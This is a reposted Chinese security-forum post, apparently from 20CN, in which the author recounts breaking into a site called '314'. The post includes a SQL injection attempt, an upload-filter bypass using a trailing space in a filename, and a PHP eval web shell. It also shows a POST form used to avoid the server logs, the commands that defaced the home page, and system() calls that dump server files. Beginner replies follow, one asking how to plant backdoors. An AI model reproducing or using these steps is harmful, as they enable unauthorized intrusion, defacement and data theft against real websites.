论坛: 菜鸟乐园 标题: 314被黑全过程 (转) 复制本贴地址    
作者: bluenet [bluenet]    论坛用户   登录
314被黑全过程 
漏洞在文件上传的功能 
本来没打算要黑的,但是因为他们开了FTP服务器,而其中一个用户的密码我又刚好知 
道,所以就把他们主页上论坛的代码偷出来看了一下,mySQL的处理不很严密,$id之类 
的变量都没有加引号,普通的字符串加了引号但是没有用mysql_escape_string处理, 
我一开始就朝这个方向努力。有一个地方是这样写的: 

$result=mysql_query("select * from article where flag='' and id=" 
                .$father,$db); 

我在一片id是347贴子里面写了个PHP,然后我post了这么一个father: 
347 into outfile 'f:/htdocs/cmd.php' 
这样就能把贴子的内容写到php里面。注意,我熟悉他们的文件系统,web文件在 
"f:\htdocs\"下面我事先是知道的。 
但是没有成功,我开始以为是mysql把文件的权限去掉了,过了一会儿才想起来一定是 
他们的php.ini里面设置了 
magic_quotes_gpc=On 
这样引号到了php脚本里面就自动加上了反斜杠,这么基本的概念我忘了,惭愧惭愧 

于是我认为他们的论坛是无懈可击的,但是后来我注意到论坛上的一个上传的功能。我 
试了一下,禁止了.php的上传,我觉得没有漏洞,但是出于好奇,我把它处理上传的 
php拿下来看了一下,最关键的代码是这样的: 

else if (file_exists("upload/".$file_name)) 
$upload_error="已经存在一个叫$file_name 的文件。"; 
else if (strtolower(substr($file_name,-4))==".php") 
$upload_error="不能上传.php 文件。"; 
else if (preg_match("/\//i",$file_name)) $upload_error="你在干什么?"; 
else if (!copy($file,"upload/".$file_name)) $upload_error="原因不明。"; 

看起来判断很严密,因为在windows文件系统里面,最后一个字符是不能为空格的(相 
应的材料可以在linux处理vfat的那个模块里面查到)。但是作者没有用 
is_upload_file来判断,这个漏洞很久远了,我试了下面的命令: 
upload.php?file_name=a.txt&file=c:/autoexec.bat 
autoexec.bat就可以用浏览器看见了。我觉得不知足,上传了一个instruction.txt的 
文件,文件内容如下: 
<?php error_reporting (E_ALL ^ E_NOTICE); eval(StripSlashes($cmd)); ?> 
这个文件可以用来执行任何的php命令。我用了这样一个命令: 
upload.php?file_name=cmd.php%20&file="f:/htdocs/weed/upload/instruction.txt 
作者提示了上传以后文件的位置,所以我很容易知道我传上去的instruction.txt的绝 
对路径。注意这里我在cmd.php后面加了一个空格,骗过了作者的php脚本,copy函数 
忠实的为我服务了。 
这样cmd.php就已经在服务器上了。为了用POST从而不在他们服务器的log里面留下痕 
迹,我又在本地写了这样一个html(事实上上面的upload.php的攻击也应该用POST): 

<form method="post" action="http://xxx/weed/upload/cmd.php"> 
<input name="cmd" type="input" style="{width:400}" /> 
<input type="submit" value="go" /> 
</form> 

然后就是直接发命令了,我先上传了一个我自己的首页,然后依次在我自己的html的文 
本框里面输入以下内容再post上去: 
rename("f:/htdocs/index.php", "f:/htdocs/index.old.php"); 
rename("f:/htdocs/weed/upload/mypage.html", "f:/htdocs/index.html"); 
好了,首页已经被改掉了。然后就是很老套了,服务器上有了后门,操作就容易了: 
system("dir c:\\"); 
这个列出了服务器上c:\下面的文件 
system("type f:\\htdocs\\weed\\forum.php"); 
这个列出了论坛的一个PHP的源码。 


忠告:做大站点很难保证代码没有一点问题,但是要注意的是,即使是很小的一个漏 
洞,也可能可以毁了整个站点。   


地主 发表时间: 04/01 20:03

回复: xiaojun [xiaojun]   剑客   登录
这个看起来就舒服多了,希望再接再励。

B1层 发表时间: 04/01 22:26

回复: xiaohu0122 [xiaohu0122]   论坛用户   登录
我怎么一点也看不懂呀。 搞这个需要具备哪些方面的知识呢?
QQ:39778656 

B2层 发表时间: 04/02 09:43

回复: fubin [fubin]   论坛用户   登录
我的问题和楼上一样.


一个大菜鸟

B3层 发表时间: 04/02 14:00

回复: vishx [vishx]   论坛用户   登录
你怎么转的东东很好看~

B4层 发表时间: 05/14 16:57

回复: top [top]   论坛用户   登录
没学过当然不懂!

我和你们一样!呵呵~!

B5层 发表时间: 05/15 10:00

回复: dizi0774 [dizi0774]   论坛用户   登录
我也没有学过unix,看不懂,但看不懂我也看。

B6层 发表时间: 05/15 15:42

回复: hl82 [hl82]   论坛用户   登录
我也是一点都看不懂!

B7层 发表时间: 05/16 15:28

回复: huang144 [huang144]   论坛用户   登录
怎么开后门呀

有什么木马程序呀?

B8层 发表时间: 05/17 02:18

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号